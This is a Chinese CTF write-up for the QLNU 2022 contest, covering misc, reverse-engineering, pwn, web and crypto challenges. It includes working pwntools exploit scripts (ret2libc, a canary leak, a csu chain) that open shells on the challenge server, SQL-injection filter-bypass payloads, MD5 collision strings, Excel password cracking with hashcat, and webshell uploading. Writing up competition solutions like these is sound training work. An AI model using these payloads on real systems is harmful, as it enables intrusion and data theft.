QLNU 2022-4-24 抗疫杯WP

警告
本文最后更新于 2023-01-27,文中内容可能已过时。

[TOC]

misc

问卷

填写问卷

不会有人没看过猫和老鼠吧

直接看视频

我觉得拆成图片比较容易看

使用ffmpeg视频转图片的教程在我的这篇博客有写*(推销)*

http://blog.shenghuo2.top/index.php/archives/114/

image-20220425182133975

image-20220425182153334

image-20220425182215480

image-20220425182223442

image-20220425182231176

image-20220425182238733

QLNU{比赛快樂!}

海伦·凯勒

这题很明显 双图盲水印

项目地址:https://github.com/chishaxie/BlindWaterMark/

主要是没发现有python3脚本 我用python2的脚本跑完出不来就放弃了

直到位大爹做出来 我才有了解题的希望 重新试了试python3的脚本

image-20220425183320492

这个图属实是折磨人了

1
j43kn8ty6ad3u0ecv

李华的作品

按照提示,最后5位写lihua

然后进行掩码爆破

image-20220427123040757

解压得到一个压缩包和一个docx docx是混淆项不用管

压缩包是伪加密 改回来后解压得到flag

image-20220427124411196

image-20220427124346219

flag在哪呢

hint:hashcat爆破excel密码 密码是八位数字

上了提示之后 直接拿出来的库存的hashcat和我8位数字的密码字典开始跑

hashcat的介绍与使用 我在博客也写过()

http://blog.shenghuo2.top/index.php/archives/24/

hashcat爆破excel 参照吾爱论坛

https://www.52pojie.cn/thread-1578758-1-1.html

1
hashashcat -a 0 -m 9500 excel.hash ?d?d?d?d?d?d?d?d

我用3060大概跑了十分钟不到

密码04131006

image-20220425185100735

打开是一个超大的二维码

改行高列宽就行

image-20220425185337496

扫出来是一个链接

image-20220425185452544

打开看不到flag 尝试用binwalk分离

image-20220425185531383

image-20220425185558479

flag在图片详细信息里

QLNU{FlogisHerehahaha}

隐藏后门

hint:windows下后门的隐藏方式

压缩包里面是一个流量包和一个rar

压缩包有密码 提示是

The password is to execute the 8-length windwos command in Wireshark

密码是在 Wireshark 执行8个长度的 windwos 命令

然后去跟进流量包

tcp流很明显能看出来是个蚁剑流量 tcp第78流能看到通过shell执行的命令

也就是压缩包密码

image-20220425235657669

tasklist

下一条命令就是 taskkill wireshark 也就是抓包软件被关了 流量包的内容也就到此为止了

然后压缩包的格式是rar 这就代表可能是NTFS流隐藏文件 而且必须用winrar解压压缩包

用NtfsStreamsEditor扫描文件夹

image-20220426000231218

能扫到一个aes密码 再去phpStudy\Apache\logs里找6ack有关的记录

image-20220426000426948

可以看到是phpinfo();

image-20220426000507056

在线解密即可

RE

babyre

upx 脱壳机脱掉

image-20220425193606813

看字符串 一眼base换表

image-20220425193743057

image-20220425193902464

cyberchef一把梭 然后ceaser穷举

image-20220425194005552

这个长得像句子 就他了

QLNU{Believeinyourself}

easy_baby_re

aspack壳 不会手脱 用脱壳机梭

image-20220427125237664

明显的rc4加密算法

image-20220427125600298

v9里面放的加密完的数组,key是12345678

对数组进行数据解密的只能找到c脚本 我对着网上的python脚本手改了一份

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
def rc4_main(key = "init_key", plain = "init_message"): #主函数
    s_box = rc4_init_sbox(key)
    crypt = rc4_excrypt(plain, s_box)
    return crypt
    
def rc4_init_sbox(key):         #初始化sbox
    s_box = list(range(256)) 
    j = 0
    for i in range(256):
        j = (j + s_box[i] + ord(key[i % len(key)])) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
    return s_box
    
def rc4_excrypt(plain, box):    #rc4解密
    res = []
    i = j = 0
    for s in plain:
        if s <= 0:
            s = s + 256
        i = (i + 1) % 256
        j = (j + box[i]) % 256
        box[i], box[j] = box[j], box[i]
        t = (box[i] + box[j]) % 256
        k = box[t]
        res.append(chr(s ^ k))
    cipher = "".join(res)
    print("解密后的字符串是:   %s" %cipher)
    return  cipher

if __name__ == '__main__':
    print("此脚本仅用于对于数组的RC4解密\n")
    # 这里输入数组
    data = [-17,-64,87,-117,125,-39,-18,-46,-59,114,100,-85,-7,8,105,-63,45,-22,-12,36,-84,27]
    key = "12345678"
    rc4_main(key, data)

T3n_th0u5And_5ad_times

smali

一个apk 尝试用apkIDE 不能直接反编译 掏出批处理脚本

image-20220427134741793

image-20220427134824995

算法就在这一条

image-20220427134919534

两个数组相加再倒序解base64即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
import base64

a_list = [ 26, 25, 13, 39, 12, 15, 16, 9, 49, 6, 17, 47, 25, 34, 44, 45, 35,6, 40, 32, 13, 27, 47, 40, 38, 14, 24, 25, 44, 14, 10, 30, 43, 12, 37, 22, 6, 46, 34, 44, 50, 6, 31, 21, 26, 3, 18, 36, 1, 28, 14, 24, 35, 6, 30, 34 ]

b_list = [ 35, 23, 59, 61, 105, 55, 55, 91, 72, 51, 54, 52, 91, 74, 6, 43, 18, 68,48, 58, 37, 30, 23, 60, 11, 60, 26, 63, 9, 64, 78, 59, 65, 45, 33, 78, 112,7, 16, 44, 57, 102, 19, 77, 95, 79, 91, 62, 103, 88, 37, 66, 69, 114, 79, 56 ]

flag = ""
for i in range(len(a_list)):
    flag += chr(a_list[i] + b_list[i])
# print(flag)
flag = flag[::-1]
print(base64.b64decode(flag))

run

明显的python打包成exe

用pyinstxtractor反编译pyc

image-20220427181116169

用010打开 将struct的第一行插入到run的第一行

image-20220427181219593

重命名为.pyc

使用uncompyle6反编译

image-20220427181253791

得到py

image-20220427181318302

大量bit计算 用z3solver的BitVec计算

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from z3 import *

s = Solver()
v0 = BitVec('v0',32)
v1 = BitVec('v1',32)
v2 = BitVec('v2',32)
v3 = BitVec('v3',32)
v4 = BitVec('v4',32)
v5 = BitVec('v5',32)
v6 = BitVec('v6',32)
v7 = BitVec('v7',32)
s.add(((v1 * v2 - v5 * 72 - v4 * 3 - v3 ^ v1 + (v3 << 2) + v2 * 6 - v7 & v6 - 1000) - 14) == -2296)
s.add(((v5 * 7 + v3 * 3 + v2 + v6 - (v2 >> 2) - v1 ^ v0 + v7 + (v4 ^ v1) + (v4 | v7)) - 801) == 34)
s.add(((v6 * 5 + v2 * 6 - v3 * 7 + v4 | v5 + v4 * 10 + v0 ^ v1 * 3 - v7 + v0 + v1) - 924) == 51)
s.add((v1 * 3 + v5 * 9 + v0 + v2 * 2 + v3 * 5 - v4 * (v6 ^ v7) + 321 - 16) == -2261)
s.add(((v5 * 12 - v0 ^ v6 - v3 * 23 + v4 * 3 + v2 * 8 + v1 - v7 * 2 + v6 * 4 + 1324) + 1) == 1505)
s.add((v3 * 54 - v1 * 3 + v2 * 3 + v4 * 11 - v5 * 2 + v0 + v7 * 3 - v6 - 6298 + 40) == -2932)
s.add((v7 - v6 * v3 + v2 * v2 - v4 * 32 + v5 * (v0 >> 2) - v1 * v1 - 6689 + 41) == -3903)
s.add(((v5 - v3 * 41 + v6 * 41 + v5 ^ (v4 & v6 | v0) - (v7 * 24 | v2) + v1 - 589) - 36) == -4020)
if(s.check() == sat):
    print(s.model())
# 输出结果
result = [122,51,95,49,51,95,101,52]
print('QLNU{',end='')
for i in result:
    print(chr(i),end="")
print('}',end='')

pwn

signin

就是个ret2libc 没什么好说的

直接打

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
from pwn import *
# p = process('./signin')
p = remote('101.43.85.204',20189)

system_addr = 0x080490E0
binsh = 0x0804a054

payload = b'a'*76 + p32(system_addr) + p32(0) + p32(binsh)

p.sendline(payload)
p.interactive()

welcome

第一步 先通过vulnimage-20220429210539713

我也不知道当时是怎么算错偏移量的image-20220429210623485

padding = 0x2c-c

image-20220429210748640

image-20220429211048640

然后就是普通的ret2libc 泄露基地址用的是write函数

write函数

ssize_t write(int fd,const void*buf,size_t count); 参数说明: fd:是文件描述符(write所对应的是写,即就是1) buf:通常是一个字符串,需要写入的字符串 count:是每次写入的字节数

payload = paddings + p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)

p32(1)+p32(write_got)+p32(4)的目的是打印write的got表地址 然后4字节输出

payload

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
p = process('./pwn')
p = remote('101.43.85.204',20189)
elf = ELF('./pwn')
libc = ELF('./libc-2.31.so')
# libc = ELF('/lib/i386-linux-gnu/libc.so.6')
context.log_level = 'debug'
main_addr = 0x0804935b

p.sendlineafter(b': ',b'1')

payload1 = b'a'*(0x2C-0xC) + p32(0x2333)		#payload1
p.sendafter(b'qlnu!\n' , payload1)
payload2 = b'a'*48 + p32(elf.plt['write']) + p32(main_addr) + p32(1) + p32(elf.got['write']) + p32(4)
# payload2
p.sendafter(b'G000o0D!\n',payload2)
write_base = u32(p.recv(4))						#recive write_addr
print(hex(write_base))
libc_base = write_base - libc.sym['write']		#libc_base
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + 0x0018b363				#binsh_offset
payload3 = b'a'*48 + p32(system_addr) +p32(0) + p32(binsh_addr)
p.sendlineafter(b': ',b'1')

p.sendafter(b'qlnu!\n' , payload1)
p.sendafter(b'G000o0D!\n',payload3)
p.sendline(b'cat flag')
p.interactive()

UC

image-20220430235906202

canary和nx都开了 想办法先绕过canary

利用整数溢出泄露canary的地址 然后覆盖canary

再构造csu泄露write的地址 计算出基地址

再构造ret2libc 打shell就行

payload

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
p = process('./uc')
p = remote('101.43.85.204',20189)
elf = ELF('./uc')
libc = ELF('./libc-2.31.so')
context.log_level = 'debug'


main = elf.sym['main']
pop_rdi = 0x4013f3
write_got = elf.got['write']

p.sendlineafter("lucky number:", b'4294967081')
p.recvuntil('Here is a surprise gift for you: ')
canary = u64(b'\x00'+p.recv(7))
success(hex(canary))



def ret_csu(first_csu, r13, r14, r15, second_csu, main):
  #构造栈溢出的padding
  payload = p64(first_csu) 
  #gadgets1的地址
  payload += p64(0) + p64(1) + p64(1)
  #rbx=0, rbp=1 r12 = 1
  payload += p64(r13) + p64(r14) + p64(r15)
  #三个参数的寄存器
  payload += p64(second_csu)
  #gadgets2的地址
  payload += b'a' * 56
  #pop出的padding
  payload += p64(main)
  #函数最后的返回地址
  return payload


payload = b'a'*(0x30-0x8) + p64(canary) + p64(0) + ret_csu(0x4013ea ,write_got ,0x8 ,write_got ,0x4013d0 ,main )
p.send(payload)

write_base=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc_base = write_base - libc.sym['write']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + 0x1b45bd
success(hex(libc_base))

p.sendlineafter("lucky number:", b'-1')
payload = b'a'*(0x30-0x8) + p64(canary) + p64(0) + p64(pop_rdi) + p64(binsh_addr) + p64(0x40101a) + p64(system_addr)
p.sendafter("Let me remember your name:", payload)
p.sendline(b'cat flag')
p.interactive()

web

upload

第一页是假的 查看源码 进入/real_upload.php

连过滤都没有

image-20220425194737956

直接传上去 蚁剑连上就行

flag在根目录image-20220425194816316

嘉心糖的试炼

image-20220425195052806

b站关注嘉然今天吃什么

用dirsearch扫目录

image-20220425195247129

有bak文件 下载得到账号密码

跳转到下一关

image-20220425195420552md5强碰撞 网上一搜就有payload 直接用就行

1
2
?qlnu=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
&xino=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

twice_sql

在注册处写入sql语句 然后登录时执行

过滤了空格 用/**/代替 union和select更改大小写绕过

注册账号

1
s'/**/Union/**/Select/**/database()#

爆库名

image-20220501002431900

爆库名

1
s'/**/Union/**/Select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()#

image-20220501002629073

爆列名

1
s'/**/Union/**/Select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='flag'#

image-20220501002852394

爆flag

1
s'/**/Union/**/Select/**/flag/**/from/**/flag#

QLNU{S9l_1s_B34ut1ful}

Intruder

还没学明白()

crypto

路易十三

真没啥好说的 就rot13

QLNU{ZhuDaJiaBiSaiYuKuai~}

r5c5

其实是曲路密码

r是row 行

c是column 列

解密脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
# write by 2021/8/4
# 曲路密码
import re


def encrypt_bend(string, col, row=10):
    ciphertext = ""
    temp = []
    for i in range(col):
        temp.append([])
    for index, i in enumerate(string):
        temp[index % col].append(i)
    re_temp = list(reversed(temp))
    for index, i in enumerate(re_temp):
        if index % 2 == 0:
            i = list(reversed(i))
        ciphertext += "".join(i)
    return ciphertext


def decrypt_bend(string, col, row=10):
    plaintext = ""
    length = len(string)
    min_row = length // col       # 最小的行数
    min_num = col - length % col  # 最小行数的列数
    # 分组
    temp = []
    index = 0
    for i in range(col):
        if i < min_num:
            temp.append(string[index:index+min_row])
            index += min_row
        else:
            temp.append(string[index:index+min_row+1])
            index += min_row + 1
    print(temp)
    # 改回列顺序
    for index, i in enumerate(temp):
        if index % 2 == 0:
            # print(re.findall(".{1}", temp[index]))
            temp[index] = "".join(list(reversed(re.findall(".{1}", temp[index]))))
    temp.reverse()
    for i in range(length):
        plaintext += temp[i % col][i // col]
    return plaintext


if __name__ == '__main__':
    col_ = 5
    row_ = 5
    ciphertext_ = encrypt_bend("}_2s{cihpUemljNfs3_Lhs43Q", col_, row_)
    plaintext_ = decrypt_bend(ciphertext_, col_, row_)
    print(f"{plaintext_} : {ciphertext_}")

QLNU{spj_343lh2_imsshfec}

天线宝宝

解压得到一张jpg 不能正常预览 使用010查看

image-20220426005216508

前面多了个10 删掉保存

image-20220426005300319

绿是1 红是0

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
10101001
11000011
00110101
10001011
01100101
10001111
00110110
00100101
11100100
01110001
01000001
10011010
00101111

image-20220426005359745

备注提示凯撒 偏移量就是删掉的10 虽然不知道为什么要bin转hex

不过cyberchef一把梭就完事了

image-20220426005538944

QLNU{q9s3358r658v3625u471419q2v}

0%